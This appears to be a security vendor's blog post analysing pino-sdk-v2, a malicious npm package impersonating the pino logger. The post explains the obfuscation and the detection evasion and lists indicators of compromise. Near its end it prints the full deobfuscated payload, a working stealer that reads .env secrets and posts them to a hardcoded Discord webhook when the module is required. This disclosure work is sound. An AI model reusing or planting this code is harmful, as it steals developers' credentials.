Malicious npm Package pino-sdk-v2 Exfiltrates Secrets to Discord
Kunal SinghTable of Contents
TL;DR
We found a malicious npm package pino-sdk-v2 impersonating pino, one of the most widely used Node.js loggers with nearly 20 million weekly downloads. The package is a near copy of pino’s source, docs, and README with one addition: an obfuscated payload in lib/tools.js that scans .env files for secrets and exfiltrates them to a Discord webhook on require().
[email protected]copies pino’s entire source tree with a single modification: obfuscated credential stealing code injected intolib/tools.js- The payload scans
.env,.env.local,.env.production,.env.development, and.env.examplefor secret keys - Extracted credentials are sent to a hardcoded Discord webhook
- No install hooks. The code executes on
require(), bypassing scanners that only flag install scripts
Investigation
The package.json lists the real pino author, repository, homepage, and description. The README substitutes pino-sdk-v2 in install commands but otherwise mirrors pino’s documentation, banner images, and benchmark references. A developer scanning the npm page would see nothing suspicious.
A diff of the package.json files between [email protected] and the legitimate [email protected] shows the changes are minimal and focused on renaming:
--- pino-9.9.0/package/package.json 1985-10-26 13:45:00+++ pino-sdk-v2-9.9.0/package/package.json 1985-10-26 13:45:00@@ -1,10 +1,10 @@ {- "name": "pino",+ "name": "pino-sdk-v2", "version": "9.9.0", "description": "super fast, all natural json logger",- "main": "pino.js",+ "main": "pino2.js", "type": "commonjs",- "types": "pino.d.ts",+ "types": "pino2.d.ts", "browser": "./browser.js", "scripts": { "docs": "docsify serve",@@ -15,9 +15,9 @@ "test-ci": "npm run lint && npm run transpile && tap --ts --no-check-coverage --coverage-report=lcovonly && npm run test-types", "test-ci-pnpm": "pnpm run lint && npm run transpile && tap --ts --no-coverage --no-check-coverage && pnpm run test-types", "test-ci-yarn-pnp": "yarn run lint && npm run transpile && tap --ts --no-check-coverage --coverage-report=lcovonly",- "test-types": "tsc && tsd && ts-node test/types/pino.ts && attw --pack .",- "test:smoke": "smoker smoke:pino && smoker smoke:browser && smoker smoke:file",- "smoke:pino": "node ./pino.js",+ "test-types": "tsc && tsd && ts-node test/types/pino.ts",+ "test:smoke": "smoker smoke:pino2 && smoker smoke:browser && smoker smoke:file",+ "smoke:pino2": "node ./pino2.js", "smoke:browser": "node ./browser.js", "smoke:file": "node ./file.js", "transpile": "node ./test/fixtures/ts/transpile.cjs",@@ -35,7 +35,7 @@ "update-bench-doc": "node benchmarks/utils/generate-benchmark-doc > docs/benchmarks.md" }, "bin": {- "pino": "./bin.js"+ "pino2": "./bin.js" }, "precommit": "test", "repository": {@@ -60,7 +60,6 @@ }, "homepage": "https://getpino.io", "devDependencies": {- "@arethetypeswrong/cli": "^0.18.1", "@types/flush-write-stream": "^1.0.0", "@types/node": "^24.0.8", "@types/tap": "^15.0.6",@@ -98,7 +97,7 @@ "through2": "^4.0.0", "ts-node": "^10.9.1", "tsd": "^0.32.0",- "typescript": "~5.9.2",+ "typescript": "~5.8.2", "winston": "^3.7.2" }, "dependencies": {The name, entry point, and binary are renamed. Everything else, including the author field (Matteo Collina), repository URL, and homepage, is copied verbatim from the real pino package.

Legitimate pino

Malicious pino-sdk-v2
The Execution Path
The entry point pino2.js loads lib/tools.js as part of normal initialization, the same way legitimate pino does:
const { createArgsNormalizer, asChindings, buildSafeSonicBoom, buildFormatters, stringify, normalizeDestFileDescriptor, noop,} = require('./lib/tools');The attacker chose lib/tools.js because it is loaded unconditionally and is large enough (300+ lines) to hide injected code without obvious visual cues.
The Malicious Payload in lib/tools.js
The obfuscated payload is injected between the stringify function and the buildFormatters function, padded by whitespace on both sides. It uses hex-encoded variable names, string array rotation, and index-based lookups to obscure intent.
See the diff between lib/tools.js from the legitimate [email protected] and the malicious [email protected]: https://www.diffchecker.com/xepKx048/

Deobfuscated Behavior
The obfuscated code defines a Run class with the following methods:
findEnvFiles() scans the current working directory for environment files:
// Targeted filesconst envFiles = ['.env', '.env.local', '.env.development', '.env.production', '.env.example'];
for (const file of envFiles) { const filePath = path.join(this.projectRoot, file); if (fs.existsSync(filePath)) { results.push(filePath); }}extractPrivateKeys() reads each .env file and matches lines against six regex patterns targeting secret values:
const patterns = [ /^PRIVATE_KEY\s*=\s*(.+)$/i, /^SECRET_KEY\s*=\s*(.+)$/i, /^API_KEY\s*=\s*(.+)$/i, /^ACCESS_KEY\s*=\s*(.+)$/i, /^SECRET\s*=\s*(.+)$/i, /^KEY\s*=\s*(.+)$/i,];The last pattern (/^KEY\s*=\s*(.+)$/i) is overly broad and will match any line starting with “KEY=”, which increases the volume of exfiltrated data but also captures more credentials.
createDiscordEmbed() formats the stolen data as a Discord embed with:
- Title: ”🔍 Results”
- Color: red (
0xff0000) - One field per extracted key, showing the filename, key name, value, and line number
- ISO timestamp
sendToDiscord() sends the embed to a hardcoded Discord webhook:
hxxps://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTEThe scanAndReport() method orchestrates everything: find env files, extract keys, build embed, POST to Discord. It runs as a top-level async call when the module loads:
async function log() { const webhookUrl = 'https://discord.com/api/webhooks/1478377161827029105/rFdz...'; const runner = new Run(webhookUrl); await runner.scanAndReport();}log();The function is named log(), consistent with names you would expect in a logging library. This kind of naming camouflage is deliberate.
Detection Challenges
This sample sidesteps common detection approaches:
- Trigger on
require(), not install hooks. Most malware scanners flagpreinstall/postinstallscripts. This package has none. The payload activates when the library is actually used in application code, which is a later and less scrutinized phase. - Obfuscation. Hex variable names, string array shuffling, and index-based lookups prevent simple grep-based scanning for strings like “discord” or “webhook.”
- Trusted metadata. The real pino author, repository, and homepage in
package.jsonmake the npm registry page look legitimate.
A file diff against [email protected] confirms the scope: only lib/tools.js is modified, package.json has the name change, and pino.js is renamed to pino2.js. Everything else is identical.
What to Do if You Are Affected
- Remove the package:
npm remove pino-sdk-v2 - Rotate any secrets stored in
.env,.env.local,.env.production,.env.development, or.env.examplefiles in the project directory where the package was imported - Audit your npm lockfile for references to
pino-sdk-v2 - Check your Discord audit logs or webhook activity if you operate the target webhook
For critical systems, treat this as a credential compromise. Rotate API keys, access keys, and any private keys that were present in environment files.
Indicators of Compromise (IOC)
| Indicator | Value |
|---|---|
| Package name | pino-sdk-v2 |
| Version analyzed | 9.9.0 |
| Malicious file | SHA256 (./pino-sdk-v2-9.9.0/package/lib/tools.js) = 3733f0add545e5537a7d3171a132df51e0b4105aebe85db35dbe868a056d3d24 |
| Exfiltration method | Discord webhook (POST with JSON embed) |
| Webhook URL | https://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE |
| Targeted files | .env, .env.local, .env.production, .env.development, .env.example |
| Targeted secrets | PRIVATE_KEY, SECRET_KEY, API_KEY, ACCESS_KEY, SECRET, KEY |
| Trigger | require('pino-sdk-v2') (no install hooks) |
Deobfuscated Payload
The following is the deobfuscated version of the malicious code injected into lib/tools.js, produced using deobfuscate.io:
const _0x366c1f = require('fs');const _0x45c7ed = require('path');
class Run { constructor(_0x39cf71) { this.webhookUrl = _0x39cf71; this.projectRoot = process.cwd(); } ['findEnvFiles']() { const _0x2727e8 = []; const _0x46afa7 = ['.env', '.env.example', '.env.local', '.env.production', '.env.development']; for (const _0x201ac2 of _0x46afa7) { const _0x3342b6 = _0x45c7ed.join(this.projectRoot, _0x201ac2); if (_0x366c1f.existsSync(_0x3342b6)) { _0x2727e8.push(_0x3342b6); } } return _0x2727e8; } ['extractPrivateKeys'](_0x371198, _0x41b9c9) { const _0x3e1c07 = []; let _0x2796a9 = _0x371198.split('\n'); if (_0x2796a9[0x0] && _0x2796a9[0x0].endsWith('\r')) { _0x2796a9 = _0x371198.split('\r\n'); } const _0x6db62a = [ /^PRIVATE_KEY\s*=\s*(.+)$/i, /^SECRET_KEY\s*=\s*(.+)$/i, /^API_KEY\s*=\s*(.+)$/i, /^ACCESS_KEY\s*=\s*(.+)$/i, /^SECRET\s*=\s*(.+)$/i, /^KEY\s*=\s*(.+)$/i, ]; _0x2796a9.forEach((_0x1dd75d, _0x18ec27) => { for (const _0x16ba03 of _0x6db62a) { const _0x3b88ca = _0x1dd75d.match(_0x16ba03); if (_0x3b88ca && _0x3b88ca[0x1]) { const _0x5719c4 = _0x3b88ca[0x1].trim().replace(/['"]/g, ''); _0x3e1c07.push({ key: _0x3b88ca[0x0].split('=')[0x0].trim(), value: _0x5719c4, line: _0x18ec27 + 0x1, }); } } }); return _0x3e1c07; } async ['sendToDiscord'](_0x436551) { try { const _0xf55f3d = await fetch(this.webhookUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(_0x436551), }); if (_0xf55f3d.ok) { } else { } } catch (_0x215247) {} } ['createDiscordEmbed'](_0x5ad81b) { const _0xafeae9 = { title: '🔍 Results', color: 0xff0000, fields: [], timestamp: new Date().toISOString(), }; _0x5ad81b.forEach((_0x530115) => { _0x530115.keys.forEach((_0xe5d369) => { _0xafeae9.fields.push({ name: '📁 ' + _0x45c7ed.basename(_0x530115.file) + ' - Line ' + _0xe5d369.line, value: '**Key:** `' + _0xe5d369.key + '`\n**Value:** `' + _0xe5d369.value + '`', inline: false, }); }); }); return { embeds: [_0xafeae9], }; } async ['scanAndReport']() { const _0x3eff7a = this.findEnvFiles(); const _0x297a25 = []; for (const _0x1a964a of _0x3eff7a) { try { const _0x3aca2a = _0x366c1f.readFileSync(_0x1a964a, 'utf8'); const _0x2013bf = this.extractPrivateKeys(_0x3aca2a, _0x1a964a); if (_0x2013bf.length > 0x0) { _0x297a25.push({ file: _0x1a964a, keys: _0x2013bf, }); } } catch (_0x6be91c) {} } if (_0x297a25.length > 0x0) { const _0x28d820 = this.createDiscordEmbed(_0x297a25); await this.sendToDiscord(_0x28d820); } }}async function log() { const _0x2ec9d8 = new Run( 'https://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE' ); await _0x2ec9d8.scanAndReport();}log();- vet
- cloud
- malware
- supply-chain-security
- npm
- credential-theft
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Gryph: Audit Trail for AI Coding Agents
AI coding agents operate with broad access to your codebase, credentials, and shell. Gryph logs every action they take to a local SQLite database, making agent behavior visible, queryable, and...

Shadow AI Discovery: Find Every AI Tool and SDK in Your Stack
AI tools and SDKs are spreading across developer environments faster than security teams can track. vet discovers agents, MCP servers, extensions, and AI SDK usage in code. Open source, local, one...

Integrate SafeDep MCP in GitHub Agentic Workflow
Learn how to integrate SafeDep MCP with GitHub Agentic Workflows to automatically evaluate the security posture of OSS dependencies in your pull requests using AI.

Malicious npm Packages Target Schedaero via Dependency Confusion
A detailed analysis of a dependency confusion supply chain attack likely targeting Schedaero, a leading aviation software company. We dissect the payload, the exfiltration mechanism, and the...

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
